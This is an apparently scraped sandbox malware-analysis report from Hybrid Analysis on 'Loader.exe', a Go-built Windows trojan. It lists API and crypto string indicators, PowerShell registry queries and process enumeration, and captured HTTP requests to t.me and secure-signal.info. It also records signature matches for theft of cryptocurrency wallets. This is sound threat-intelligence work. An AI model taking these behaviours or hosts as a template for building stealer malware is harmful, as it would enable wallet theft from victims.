24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 66:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T48e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 6c2446f06869… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 6c2446f06869…. Malware family: Trojan.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 8 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a"],"about":{"@type":"SoftwareApplication","name":"Loader.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":14,"total":28},"behavioralIndicators":{"malicious":8,"suspicious":25},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T5b4,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "Loader.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "Loader.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "Loader.exe") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "Loader.exe") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "Loader.exe") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "Loader.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp")26:T88e,Found reference to "forHKDF" (Indicator: "HKDF"; File: "Loader.exe") Found reference to "newHMAC" (Indicator: "HMAC"; File: "Loader.exe") Found reference to "*hmac.HMAC" (Indicator: "HMAC"; File: "Loader.exe") Found reference to "*func([]uint8) *hmac.HMAC" (Indicator: "HMAC"; File: "Loader.exe") file/memory contains long string with (Indicator: "SHA384"; File: "Loader.exe") file/memory contains long string with (Indicator: "SHA512"; File: "Loader.exe") file/memory contains long string with (Indicator: "HKDF"; File: "Loader.exe") file/memory contains long string with (Indicator: "HMAC"; File: "Loader.exe") file/memory contains long string with (Indicator: "TripleDES"; File: "Loader.exe") Found reference to "crypto/des.NewTripleDESCipher" (Indicator: "TripleDES"; File: "Loader.exe") Found reference to "crypto/tls.aeadChaCha20Poly1305" (Indicator: "ChaCha20Poly1305"; File: "Loader.exe") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Sum" (Indicator: "HMAC"; File: "Loader.exe") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Write" (Indicator: "HMAC"; File: "Loader.exe") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Size" (Indicator: "HMAC"; File: "Loader.exe") Found reference to "crypto/internal/fips140/hmac.(*HMAC).BlockSize" (Indicator: "HMAC"; File: "Loader.exe") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Reset" (Indicator: "HMAC"; File: "Loader.exe") Found reference to "crypto/internal/fips140/aes/gcm.gcmAesFinish" (Indicator: "Aes"; File: "Loader.exe") Found reference to "crypto/internal/fips140/aes/gcm.gcmAesInit" (Indicator: "Aes"; File: "Loader.exe") Found reference to "crypto/internal/fips140/aes/gcm.gcmAesData" (Indicator: "Aes"; File: "Loader.exe") Found reference to "crypto/internal/fips140/aes/gcm.gcmAesEnc" (Indicator: "Aes"; File: "Loader.exe") Found reference to "crypto/internal/fips140/aes/gcm.gcmAesDec" (Indicator: "Aes"; File: "Loader.exe") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00007308-00000BC0-3488742804") Found reference to "CDSA/SHA384" (Indicator: "SHA384"; Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp")27:T5a9,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001") "powershell.exe" (Access type: "QUERY"; Path: "HKLM") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OFFLOAD") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\MANAGED\S-1-5-21-1271187874-1938232448-3812392235-1001\INSTALLER\ASSEMBLIES\C:|WINDOWS|SYSTEM32|WINDOWSPOWERSHELL|V1.0|POWERSHELL.EXE.CONFIG")28:Ta0c,"Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3483654485 [PID: 7632] "Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3483663103 [PID: 7632] "Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3484145220 [PID: 7632] "Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3484151994 [PID: 7632] "Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3484595265 [PID: 7632] "Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3484602057 [PID: 7632] "Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3485442425 [PID: 7632] "Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3485449322 [PID: 7632] "Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3488357716 [PID: 7632] "Loader.exe" queried SystemProcessInformation at 00000000-00007632-00000C15-3488365142 [PID: 7632] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3486205821 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3486212533 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3489449533 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3489457340 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3490884063 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3490891397 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3491748836 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3491755964 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3492155509 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3492162552 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3495242970 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3496983001 [PID: 7308] "powershell.exe" queried SystemProcessInformation at 00000000-00007308-00000C15-3496995466 [PID: 7308] "806964ff31e2acc80.exe" queried SystemProcessInformation at 00000000-00008272-00000C15-3538649563 [PID: 8272] "806964ff31e2acc80.exe" queried SystemProcessInformation at 00000000-00008272-00000C15-3538658035 [PID: 8272]29:T49b,Found reference to API "crypto/des.(*desCipher).Decrypt" (Indicator: ".decrypt"; File: "Loader.exe") Found reference to API "crypto/des.(*tripleDESCipher).Decrypt" (Indicator: ".decrypt"; File: "Loader.exe") Found reference to API "crypto/tls.(*halfConn).decrypt" (Indicator: ".decrypt"; File: "Loader.exe") Found reference to API "vendor/golang.org/x/net/http2/hpack.(*Decoder).decodeString" (Indicator: ".decodestring"; File: "Loader.exe") Found reference to API "crypto/internal/fips140/aes.(*Block).Decrypt" (Indicator: ".decrypt"; File: "Loader.exe") Found reference to API "crypto/internal/fips140/aes.decryptBlock" (Indicator: ".decrypt"; File: "Loader.exe") Found reference to API "crypto/internal/fips140/aes.decryptBlockGeneric" (Indicator: ".decrypt"; File: "Loader.exe") Found reference to API "crypto/internal/fips140/aes.decryptBlockAsm" (Indicator: ".decrypt"; File: "Loader.exe") Found reference to API "crypto/internal/fips140/rsa.decrypt" (Indicator: ".decrypt"; File: "Loader.exe") Found reference to API "tripledescryptoserviceprovider" (Indicator: "TripleDESCryptoServiceProvider"; Source: "00000000-00004092.00000001.292655.A51D0000.00000004.mdmp")2a:T4f1,Found string "*gzip.Header" (Indicator: "gzip.header"; File: "Loader.exe") Found string "requestedGzip" (Indicator: "requestedgzip"; File: "Loader.exe") Found string "compress/gzip" (Indicator: "compress/gzip"; File: "Loader.exe") Found string "*http.gzipReader" (Indicator: "http.gzipreader"; File: "Loader.exe") Found string "*http.http2gzipReader" (Indicator: "http.http2gzipreader"; File: "Loader.exe") Found string "compress/gzip.init" (Indicator: "compress/gzip"; File: "Loader.exe") Found string "compress/gzip.(*Reader).Reset" (Indicator: "compress/gzip"; File: "Loader.exe") Found string "compress/gzip.(*Reader).readString" (Indicator: "compress/gzip"; File: "Loader.exe") Found string "compress/gzip.(*Reader).readHeader" (Indicator: "compress/gzip"; File: "Loader.exe") Found string "compress/gzip.noEOF" (Indicator: "compress/gzip"; File: "Loader.exe") Found string "compress/gzip.(*Reader).Read" (Indicator: "compress/gzip"; File: "Loader.exe") Found string "compress/gzip.(*Reader).Close" (Indicator: "compress/gzip"; File: "Loader.exe") Found string "compress/gzip.NewReader" (Indicator: "compress/gzip"; File: "Loader.exe") Found string "C:/Program Files/Go/src/compress/gzip/gunzip.go" (Indicator: "compress/gzip"; File: "Loader.exe")2b:T3bb5,Found api reference "out of rangelame referraldalTLDpSugct?accept-rangesauthorizationcache-controlcontent-rangeif-none-matchlast-modifiedwakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=gzip, deflateGetTempPath2WModule32NextWRtlGetVersionlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameinvalid ASN.1SHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSSemail addressshared_secretRegDeleteKeyWRegEnumValueWcrypto/subtlegocachev" (Indicator: "CertOpenStore"; File: "Loader.exe") Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=need more dataREQUEST_METHODOpenSCManagerWModule32FirstWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameW procedure in winapi error #unreachable: unknown dsbytex509sha256skidRegSetValueExWcrypto/fips140mime/multipartRCodeNameErrorResourceHeaderdata truncatednegative updatehttp2xconnect=1Accept-Encodingrecv_rststream_Idempotency-KeyPartial ContentRequest TimeoutLength RequiredNot ImplementedGateway Timeoutunexpected typebad trailer keywrite error: %wGetProcessTimesDuplicateHandle476837158203125invalid argSi" (Indicator: "CertCloseStore"; File: "Loader.exe") Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=need more dataREQUEST_METHODOpenSCManagerWModule32FirstWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameW procedure in winapi error #unreachable: unknown dsbytex509sha256skidRegSetValueExWcrypto/fips140mime/multipartRCodeNameErrorResourceHeaderdata truncatednegative updatehttp2xconnect=1Accept-Encodingrecv_rststream_Idempotency-KeyPartial ContentRequest TimeoutLength RequiredNot ImplementedGateway Timeoutunexpected typebad trailer keywrite error: %wGetProcessTimesDuplicateHandle476837158203125invalid argSi" (Indicator: "CryptGenRandom"; File: "Loader.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionevictCount overflowSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdunknown hash value negative coordinatex509: malformed OIDx509: trailing datax509: unknown errorunsupported AEAD id20060102150405Z0700embedfollowsymlinksgotestjsonbuildtextzero length segmentRCodeNotImplementedfile already existsfile does not existfile already closedmodulus must be > 1unknown Go type: %vinvalid write resultpad length too largehttplaxcontentlengthMAX_HEADER_LIST_SIZEconnection error: %sframe_settings_mod_6conn_close_lost_pingassigned stream ID 0read_frame_too_largeunknown address typeRequest URI Too LongUnprocessable EntityInsufficient Storagenumber has no digitsbad karatsuba l" (Indicator: "CryptReleaseContext"; File: "Loader.exe") Found api reference "bcryptprimitives.dllinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrssha3: Sum after Readx509usefallbackrootsgetCert can't be nilinvalid UTF-8 stringx509: malformed spkiunsupported suite IDinvalid integer typemissing IPv6 addressunexpected characterasn1: syntax error: reflect.Value.Complexhttp: nil Request.URLUNKNOWN_FRAME_TYPE_%dframe_ping_has_streamRoundTrip failure: %vheader list too largeUnhandled Setting: %vnet/http: nil Contextunknown address type command not supportedPrecondition RequiredInternal Server Errorexec: already startedsimulated PCT failureunsupported operation186264514923095703125931322574615478515625bad type in compare: of unexported methodunexpected value stepreflect.Value.Pointerreflect.Value.SetUintkey is not comparabledecompression failureunsupported extensioncipher_suites aead" (Indicator: "CertOpenSystemStoreW"; File: "Loader.exe") Found api reference "bcryptprimitives.dllinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrssha3: Sum after Readx509usefallbackrootsgetCert can't be nilinvalid UTF-8 stringx509: malformed spkiunsupported suite IDinvalid integer typemissing IPv6 addressunexpected characterasn1: syntax error: reflect.Value.Complexhttp: nil Request.URLUNKNOWN_FRAME_TYPE_%dframe_ping_has_streamRoundTrip failure: %vheader list too largeUnhandled Setting: %vnet/http: nil Contextunknown address type command not supportedPrecondition RequiredInternal Server Errorexec: already startedsimulated PCT failureunsupported operation186264514923095703125931322574615478515625bad type in compare: of unexported methodunexpected value stepreflect.Value.Pointerreflect.Value.SetUintkey is not comparabledecompression failureunsupported extensioncipher_suites aead" (Indicator: "CryptAcquireContextW"; File: "Loader.exe") Found api reference "ctsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCallvarint integer overflowGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW" missing CPU supportinvalid PrintableStringx509: malformed UTCTimex509: invalid key usagex509: malformed versionpattern bits too long: too many pointers (>10)segment length too longunpacking Question.Nameunpacking Question.Typeskipping Question Classflate: internal error: exit hook invoked panicP224 poi" (Indicator: "CertGetCertificateChain"; File: "Loader.exe"), Found api reference "ing transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockidna: disallowed rune %Ufloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWsha3: invalid hash statex509: malformed validityaddress string too shortinvalid pattern syntax: resource length too longunpacking Question.Classflate: maxBits too largestreamSafe was not resetGODEBUG sys/cpu: value "", required CPU featurechacha20: wrong key sizehttp: invalid cookie nametext/plain; charset=utf-8http2: Framer %p: read %vframe_data_pad_byte_sh" (Indicator: "CertFreeCertificateChain"; File: "Loader.exe"), Found api reference "ageunexpected type in connecttoo many colons in addressunclosed criterion bracketcriterion lacks equal signall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryid (%v) <= evictCount (%v)malformed chunked encodinginvalid CR in chunked lineSetFileInformationByHandleRtlNtStatusToDosErrorNoTebinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusfailed to find ConnectEx: x509: malformed parametersx509: malformed extensionsx509: invalid simple chaincrypto" (Indicator: "CertFreeCertificateContext"; File: "Loader.exe"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for http chunk length too largechannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: cipher: incorrect length IVreflectlite.Value.Interfacereflec" (Indicator: "CertEnumCertificatesInStore"; File: "Loader.exe"), Found api reference "achedCertCreateCertificateContextabi.NewName: name too long: fips140: verified code+datacrypto/rsa: decryption errorx509: invalid RSA public keyx509: invalid DSA public keyx509: invalid DSA parametersx509: negative serial numbercurrent time %s is before %spending ASN.1 child too longDetECDSA P-256 SHA2-512 signasn1: string not valid UTF-8invalid P224Element encodinginvalid P384Element encodinginvalid P521Element encodinghttp: '=' not found in cookiewrite on uninitialized bufferhttp2: client conn not usablehttp: idle connection timeoutMon 02 Jan 2006 15:04:05 MSTMon 02-Jan-2006 15:04:05 MSTinternal error: took too muchframe_pushpromise_zero_streamframe_pushpromise_pad_too_bighttp2: client connection lostNon-Authoritative InformationProxy Authentication RequiredUnavailable For Legal Reasonsdup idle pconn %p in freelistFIPS 140-3 self-test failed: FIPS 140-3 self-test passed: 45474735088646411895751953125 cannot be converted to type unknown certificate authoritytls: too many ignored recordstls: invalid NextP" (Indicator: "CertCreateCertificateContext"; File: "Loader.exe"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioncrypto/aes: input not full blocksubtle.XORBytes: invalid overlap" not supported for cpu option "initial table capacity too largeecdsa: internal error: r is zeroecdsa: internal error: s is zeroed25519: bad public key length: crypto/rsa: public key missing Nx509: unsupported elliptic curvex509: invalid constraint value: x509: malformed subjectPublicKeyx509: cannot parse rfc822Name %qx509: ECDSA verification failurecrypto/des: input not full blockcrypto/cipher: counter decreasedmlkem: invalid ciphertext lengt" (Indicator: "CertAddCertificateContextToStore"; File: "Loader.exe"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioncrypto/aes: input not full blocksubtle.XORBytes: invalid overlap" not supported for cpu option "initial table capacity too largeecdsa: internal error: r is zeroecdsa: internal error: s is zeroed25519: bad public key length: crypto/rsa: public key missing Nx509: unsupported elliptic curvex509: invalid constraint value: x509: malformed subjectPublicKeyx509: cannot parse rfc822Name %qx509: ECDSA verification failurecrypto/des: input not full blockcrypto/cipher: counter decreasedmlkem: invalid ciphertext lengt" (Indicator: "CertVerifyCertificateChainPolicy"; File: "Loader.exe"), Found api reference "syscall.CertAddCertificateContextToStore" (Indicator: "CertAddCertificateContextToStore"; File: "Loader.exe"), Found api reference "syscall.CertCloseStore" (Indicator: "CertCloseStore"; File: "Loader.exe"), Found api reference "syscall.CertCreateCertificateContext" (Indicator: "CertCreateCertificateContext"; File: "Loader.exe"), Found api reference "syscall.CertFreeCertificateChain" (Indicator: "CertFreeCertificateChain"; File: "Loader.exe"), Found api reference "syscall.CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "Loader.exe"), Found api reference "syscall.CertGetCertificateChain" (Indicator: "CertGetCertificateChain"; File: "Loader.exe"), Found api reference "syscall.CertOpenStore" (Indicator: "CertOpenStore"; File: "Loader.exe"), Found api reference "syscall.CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; File: "Loader.exe")2c:T9e7,Observed string: "crypto/rsa" (Indicator: "crypto/rsa") in Source: Loader.exe Observed string: "crypto/aes" (Indicator: "crypto/aes") in Source: Loader.exe Observed string: "crypto/des" (Indicator: "crypto/des") in Source: Loader.exe Observed string: "crypto/rc4" (Indicator: "crypto/rc4") in Source: Loader.exe Observed string: "crypto/md5" (Indicator: "crypto/md5") in Source: Loader.exe Observed string: "crypto/rand" (Indicator: "crypto/rand") in Source: Loader.exe Observed string: "crypto/x509" (Indicator: "crypto/x509") in Source: Loader.exe Observed string: "crypto/sha1" (Indicator: "crypto/sha1") in Source: Loader.exe Observed string: "crypto/ed25519" (Indicator: "crypto/ed25519") in Source: Loader.exe Observed string: "crypto/elliptic" (Indicator: "crypto/elliptic") in Source: Loader.exe Observed string: "crypto/x509/pkix" (Indicator: "crypto/x509/pkix") in Source: Loader.exe Observed string: "crypto/internal/hpke" (Indicator: "crypto/internal/hpke") in Source: Loader.exe Observed string: "crypto/internal/impl" (Indicator: "crypto/internal/impl") in Source: Loader.exe Observed string: "crypto/internal/fips140/rsa" (Indicator: "crypto/internal/fips140/rsa") in Source: Loader.exe Observed string: "crypto/internal/fips140/sha3" (Indicator: "crypto/internal/fips140/sha3") in Source: Loader.exe Observed string: "crypto/internal/fips140/ecdh" (Indicator: "crypto/internal/fips140/ecdh") in Source: Loader.exe Observed string: "crypto/internal/fips140/hmac" (Indicator: "crypto/internal/fips140/hmac") in Source: Loader.exe Observed string: "crypto/internal/fips140/mlkem" (Indicator: "crypto/internal/fips140/mlkem") in Source: Loader.exe Observed string: "crypto/internal/fips140/tls13" (Indicator: "crypto/internal/fips140/tls13") in Source: Loader.exe Observed string: "crypto/internal/fips140/sha256" (Indicator: "crypto/internal/fips140/sha256") in Source: Loader.exe Observed string: "crypto/internal/fips140/nistec" (Indicator: "crypto/internal/fips140/nistec") in Source: Loader.exe Observed string: "crypto/internal/fips140/bigmod" (Indicator: "crypto/internal/fips140/bigmod") in Source: Loader.exe Observed string: "crypto/internal/fips140/aes/gcm" (Indicator: "crypto/internal/fips140/aes/gcm") in Source: Loader.exe Observed string: "#crypto/internal/fips140/nistec/fiat" (Indicator: "#crypto/internal/fips140/nistec/fiat") in Source: Loader.exe Observed string: "$crypto/internal/fips140/edwards25519" (Indicator: "$crypto/internal/fips140/edwards25519") in Source: Loader.exe2d:T52d,Contains base64 string in header "/awesome" in header "GET /awesome_mine HTTP/1.1Connection: Keep-AliveHost: t.me" Contains base64 string in header "mine" in header "GET /awesome_mine HTTP/1.1Connection: Keep-AliveHost: t.me" Contains base64 string in header "Keep" in header "GET /awesome_mine HTTP/1.1Connection: Keep-AliveHost: t.me" Contains base64 string in header "POST" in header "POST / HTTP/1.1Connection: CloseAccept: */*Content-Length: 5728Host: secure-signal.info" Contains base64 string in header "5728Host" in header "POST / HTTP/1.1Connection: CloseAccept: */*Content-Length: 5728Host: secure-signal.info" Contains base64 string in header "info" in header "POST / HTTP/1.1Connection: CloseAccept: */*Content-Length: 5728Host: secure-signal.info" Contains base64 string in header "POST" in header "POST / HTTP/1.1Connection: CloseAccept: */*Content-Length: 896Host: secure-signal.info" Contains base64 string in header "info" in header "POST / HTTP/1.1Connection: CloseAccept: */*Content-Length: 896Host: secure-signal.info" Contains base64 string in header "POST" in header "POST / HTTP/1.1Connection: CloseAccept: */*Content-Length: 272Host: secure-signal.info" Contains base64 string in header "info" in header "POST / HTTP/1.1Connection: CloseAccept: */*Content-Length: 272Host: secure-signal.info"2e:T686,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains possible references to Golang crypto modules Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to decrypt/decode data Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Commandline contains long base64 encoded string Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Tries to steal crypto wallet extension (file access) Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Reads cryptocurrency-related registry keys Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match - PowerShell 